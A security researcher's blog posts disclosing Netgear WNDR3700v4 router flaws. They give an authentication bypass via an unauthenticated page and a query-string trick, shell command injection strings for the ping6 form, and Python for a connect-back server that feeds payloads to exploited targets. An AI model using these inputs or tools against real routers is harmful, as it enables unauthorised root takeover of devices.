Thursday, October 24, 2013

Netgear Root Compromise via Command Injection

At the end of my post on the Netgear wndr3700v4's authentication bugs, I said to expect followup posts. Once the web interface is unlocked, any further bugs that normally require authentication become fair game. Well good news, everyone!!

Previously, I talked about the net-cgi executable in the wndr3700's firmware. ;net-cgi is a multi-call binary, a little like busybox. As such it has a lot of functionality baked in. One of its more interesting functions is called cmd_ping6(). Here's what it looks like:



This is a function that will ping whatever hostname or IPv6 address is passed in as the char *host argument. What you see here is such an unbelievably common pattern, that the first thing you should do with a router's firmware is check to see if there's a ping diagnostic page, and verify how ping gets executed.

What is happening here, as it so often does, is the host string gets copied into a shell command on the stack using sprintf(). This is probably the most straightforward buffer overflow vulnerability you will ever see. Sadly, you shouldn't exploit it. It is a tempting one to exploit because it is so clean and simple and because popping root with a MIPS ROP payload is sexy. But that would be silly, because right after it there is a call to system(). The system() function passes whatever string it is given to an invocation of /bin/sh. This is a command injection vulnerability in its purest form and is trivially exploitable. If the address string that gets passed in is something like "; evil_command; #", the ping6 command will be terminated prematurely, and evil_command will be executed right after it.

But what if the target isn't configured to use IPv6? Who cares? The ping6 command doesn't actually need to succeed. As long as the injected command string gets passed to system(), that's all that matters.

So how does this function get invoked?

Working backwards, cmd_ping6() gets called by cgi_commit().



The cgi_commit() function gets called by sub_4052d0(), which is the output function for the apply.cgi mime handler (I explained previously how the mime handler table works).



How does cgi_commit() know to call cmd_ping6()? That happens when when apply.cgi is requested as a post, and the post data contains "submit_flag=ping6".

sub_43a60() cgi handler gets called when submit_flag is "ping6".

There is a page that sends a post request to apply.cgi with the ping6 submit flag. That page is "ping6_traceroute6_hidden_info.htm".



This page would normally be protected behind password authentication. With the authentication bypass I wrote about previously, this page becomes accessible to anyone. As you can see, this is a form that allows you to ping an IP address or hostname. Rather than submit an IP address, you can send a shell command, such as `reboot`.

Send a shell command instead of an IP address.


Form is submitted with "ping6_text=`reboot`"

This is an easy test because the effect is immediate and easily observed, and you have very little shell syntax to troubleshoot.

This page is not exposed to the user via any reference in the web interface, and it even has "hidden" in the name. Hidden as it may be, it can't hide from Python. I've written up some proof-of-concept exploit code that will access this page and start up a telnet server, allowing you to log in unauthenticated as root.

"Hidden" pages can't hide from Python! Authentication is disabled, then command injection exploited gain root.

The exploit code does the following:
  1. Fingerprint the device to ensure it's vulnerable.
  2. Disable authentication.
  3. Inject a command to open a hole in iptables, and start a telnet server listening on the internet on port 2323[1].
  4. Re-enable authentication, restoring the device to its original state.
You can download the proof-of-concept exploit code[2] from my GitHub repo. You'll need Bowcaster installed.

[1] Netgear routers usually already have a telnet server listening on the LAN on port 23 that accepts a hardcoded backdoor password.
[2] Don't attempt to test this against devices you don't own. That's illegal in most jurisdictions.

Tuesday, October 22, 2013

Complete, Persistent Compromise of Netgear Wireless Routers

UPDATE: Turns out, Jacob Holocomb (@rootHak42 on Twitter) of Independent Security Evaluators found this bug back in April on a different device, the WNDR4700. Thanks for letting me know, Jacob. Nice find. Here's a link to that report.

UPDATE 2: Because there are almost certainly fools who would go hack somebody's router and say I told them to do it, I added a warning to not do this. DON'T DO IT.

UPDATE 3: I have to confess I tested this on an older firmware, 1.0.1.32, and neglected to test on the latest, 1.0.1.42. I did some cursory static analysis on .42, and satisfied myself that the vulnerabilities discussed still existed. Since Netgear has patched this on other devices, I became concerned that I should have tested more thoroughly, so I did that this morning. I can now say, with confidence, that these vulnerabilities apply equally to the latest wndr3700v4 firmware, 1.0.1.42.

UPDATE 4: I want to give Craig Young of Tripwire VERT credit for finding all these bugs and more. I found the ones below in June, and I believe Craig found them before me. Craig also is responsible for the Netgear ReadyNAS finding which has gotten a lot of coverage lately.

One of my favorite embedded vendors' products to find bugs in is Netgear. Naturally, I was excited to take a look at the firmware for version 4 of Netgear's venerable WNDR3700 wireless router (I talked about version 3 at Black Hat in 2012). Of course, I updated my DLNA SQL injection + buffer overflow exploit code for the new version, but I found something else that's even better.

Don't have time for a bunch of IDA Pro nonsense?  Don't worry; just skip to the TL;DR.

Still here?  Excellent. Let's find out how deep the rabbit hole goes.

An All-purpose CGI Request Handler


On the WNDR3700v4, as with many embedded web servers, a single binary executable, /usr/sbin/net-cgi, gets executed by the web server to handle most, if not all, HTTP requests.


$ file usr/sbin/net-cgi
usr/sbin/net-cgi: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked (uses shared libs), corrupted section header size

It's important to understand how net-cgi performs authentication. It's a little messy, but don't panic. I brought pictures.

In the executable's data section, there's a table of mime handler structures that describe, among other things, names or partial names of paths that can be requested via HTTP.

A C declaration for the mime handler structure might look approximately like:

struct mime_handler {
        char *pattern;
        char *mime_type;
        char *extra_header;
        void (*input)(char *path, FILE *stream, int len, char *boundary);
        void (*output)(char *path, FILE *stream);
        void (*auth)(char *userid, char *passwd, char *realm);
};

The main function for handling requests is handle_http_request(). Its function signature looks like:


handle_http_request(char *script_file, //requested object or cgi script
                      char *query_string,
                     char *request_method,
                     FILE * stdout,
                     FILE *stdin);


In http_handle_request(), there is logic to loop over each of the mime handlers to check if the requested object matches the handler's pattern string. It actually just does a strstr() to see if the pattern is a substring of the requested object.



If there's a match, then it checks to see if there's an authentication handler. If there is none for that mime handler, then no authentication is performed. Execution skips down the the block I call "pass go, collect $200."



When we look at the mime handler table, we see an entry for the pattern "BRS_". This entry's auth function pointer is NULL, meaning requested objects matching this pattern don't require authentication.


This is interesting because there are several BRS_ files available for the web server to serve up:


root/www (0) $ ls -1 BRS_*
BRS_01_checkNet.html*
BRS_01_checkNet_ping.html
BRS_02_genieHelp.html*
BRS_03A_A_noWan_check_net.html*
BRS_03A_A_noWan.html*
BRS_03A_B_pppoe.html*
BRS_03A_B_pppoe_reenter.html*
BRS_03A_C_pptp.html*
BRS_03A_C_pptp_reenter.html*
BRS_03A_D_bigpond.html*
BRS_03A_detcInetType.html*
BRS_03A_E_IP_problem.html*
BRS_03A_E_IP_problem_staticIP_A_inputIP.html*
BRS_03A_E_IP_problem_staticIP_B_macClone.html*
BRS_03A_E_IP_problem_staticIP_B_macClone_plzWait.html*
BRS_03A_E_IP_problem_staticIP.html*
BRS_03A_F_l2tp.html*
BRS_03A_F_l2tp_reenter.html*
BRS_03B_haveBackupFile_change_domain.htm
BRS_03B_haveBackupFile_fileRestore.html*
BRS_03B_haveBackupFile.html*
BRS_03B_haveBackupFile_ping.html
BRS_03B_haveBackupFile_wait_ping.html*
BRS_03B_haveBackupFile_waitReboot.html*
BRS_04_applySettings.html*
BRS_04_applySettings_ping.html*
BRS_04_applySettings_wget.html*
BRS_04_applySettings_wgetResult.html*
BRS_04_B_checkNet.html*
BRS_04_B_checkNet_ping.html
BRS_05_networkIssue.html*
BRS_check_manulConfig.html
BRS_index.htm*
BRS_netgear_success.html
BRS_ping.html*
BRS_ping_result.html
BRS_plzWait.html*
BRS_retry.htm
BRS_success.html*
BRS_top.html*
BRS_wanlan_conflict.html*

All of these files may be accessed without a password. Almost certainly there is something juicy in there, such as some diagnostic information, or maybe a page that will show you the WPA passphrases for the 2.4 GHz and 5GHz networks.

BRS_success.html. No authentication needed.

Excellent. Free wifi passwords!  Still though, full administrative pwnage would be cool. Good news....


Are You Really Sure We Need to Check Authentication?


When we look at how authentication is checked, there are a bunch of execution paths to the "pass go, collect $200" block. Lets take a look.

Lots of requested paths that result in authentication being skipped.

Above, you can see the first two strings, "unauth.cgi" and "securityquestions.cgi" are checked against the query string, not the requested file. If either of these strings are substrings of the query string, execution bypasses authentication. Since this substring check is against the entire query string, you can request something like http://router_address/protected_page.htm?foo=unauth.cgi. The "unauth.cgi" will match the substring check and execution will skip authentication.

I actually discovered this authentication bypass while double checking my research for the next vulnerability. It is the next one that is a much more powerful bypass and even more trivial to exploit. Plus, it's persistent.


So, Do We Really Super Double For Sure Need to Check Authentication?



After an authentication handler is located, but before the query string is checked for special unauthenticated strings, there is yet another interesting check. Let's have a look[1].

If hijack_process != "3", collect $200.

Above, we see a query of the NVRAM configuration for the hijack_process setting. If that setting is "3", then the authentication execution path is followed as normal. If it is something other than "3", execution skips down to "pass go, collect $200," authentication is bypassed. The purpose of this configuration setting is so that when first plugged in, the router will redirect all web requests to its own web-based administrative interface. In order to prevent users from having to know a default password, authentication is disabled until after the router is configured. The hijack_process setting is one among several that, together, determine whether the router is in an unconfigured state.

Where this gets interesting, however, is an unauthenticated page that will set the hijack_process setting to a value other than "3".

Grepping through the firmware's html files for "hijack_process" yields an interesting find.


$ grep -rn 'cfg_set("hijack_process"' *
BRS_02_genieHelp.html:12:<% cfg_set("hijack_process", "1") %>


The BRS_02_genieHelp.html file contains a command to set hijack_process to "1". The web interface uses a custom HTML templating language. Any text between '<%' and '%>'  is preprocessed by the web server and the entire directive replaced by the output of that processing. In the case above, the request handler processes the "cfg_set" directive to set the hijack_process configuration setting. As we discovered earlier, any web page beginning with "BRS_" does not require authentication. An unauthenticated request to BRS_02_genieHelp.html will have the effect of disabling authentication for the rest of the web interface.  Since the hijack_process setting is only one of several that mark the router as being unconfigured, this one setting alone has no noticeable effect for the user. No web requests are actually hijacked. Further, this setting is stored in NVRAM, which means it is persistent across reboots.

TL;DR


You skipped straight to the good stuff didn't you?  That's cool. Here's the deal. If you browse to http://<router address>/BRS_02_genieHelp.html, you are allowed to bypass authentication for all pages in the entire administrative interface. But not only that, authentication remains disabled across reboots. And, of course if remote administration is turned on, this works from the frickin' Internet.

Don't believe me?  Give it at try. Surf to your WNDR3700v4's web interface and request BRS_02_genieHelp.html. Don't have one of your own? No problem. Shodan's got you covered. (Just to be clear, don't go to Shodan and hack a router you don't own, okay? That's stupid, and it's not legal in most jurisdictions.)


With complete, persistent administrative access to the web interface, a huge attack surface is opened up. A malicious DNS server could be configured, exposing users to web browser exploits. Ports could be forwarded to devices on the LAN, exposing vulnerable services to attack. Or, a trojan horse firmware could be flashed onto the device that would give the attacker persistent root-level access to the router. Additionally, any command injection or buffer overflow vulnerabilities in the router's web interface become fair game once authentication is disabled.

In the next few posts, I will describe additional vulnerabilities that can be exploited once authentication is disabled on this device.

---------
[1] This is the the technical analysis of how this bug works. It's not how I found it. If you buy me a beer at a conference, I'll tell you how I actually found this vulnerability.

Wednesday, October 09, 2013

A Connect-back HTTP Exploit Server for Bowcaster

I've just added a module to Bowcaster that I think is cool. Actually, I just got around to finishing a module that was there all along. It's a basic HTTP server module, but it has some unique features that make it suitable for serving payloads to remotely exploited targets.

The connect-back server modules in Bowcaster are designed to run asynchronously so that they can be used right in line with your exploit code. Basically the model is this:
  1. Instantiate connect-back server.
  2. Call server.serve(), which returns immediately.
  3. Do other stuff, e.g., throw exploit.
  4. Call server.wait()
  5. That's it. There is no step 5.
The HTTPConnectbackServer module fits this model as well. You provide it a list of payloads to serve, and it forks into the background and serves them each exactly one time. Once all the files have been served, the server terminates.

The use case that I envisioned is a situation where you're exploiting one or more targets via command injection. Your exploit would execute the wget command on the system to fetch a payload, and then a subsequent command injection would execute the downloaded payload.

Perhaps you're even exploiting multiple targets where each target gets its own customized version of the payload. Provide a list of custom payload files and when each target has phoned home to get its payload, the server shuts down.

Using it is pretty straightforward. Here's an example:


from bowcaster.servers.http_server import HTTPConnectbackServer

files_to_serve=["payload_192.168.0.1",
                "payload_192.168.0.2",
                "payload_192.168.0.3"]



try:
    httpd=HTTPConnectbackServer("192.168.0.10",
                                 files_to_serve=files_to_serve,
                                 docroot="/www/payloads")
    httpd.serve()
except:
    #Uh oh. Couldn't start the server. 
    #Do all the payload files exist?
    sys.exit(1)

try:
    throw_exploit_1()
    throw_exploit_2()
    throw_exploit_3()
    httpd.wait()
except Exception as e:
    #something went wrong
    httpd.shutdown()

Anyway, stay tuned, because I have some other neat Bowcaster stuff in the pipeline as well.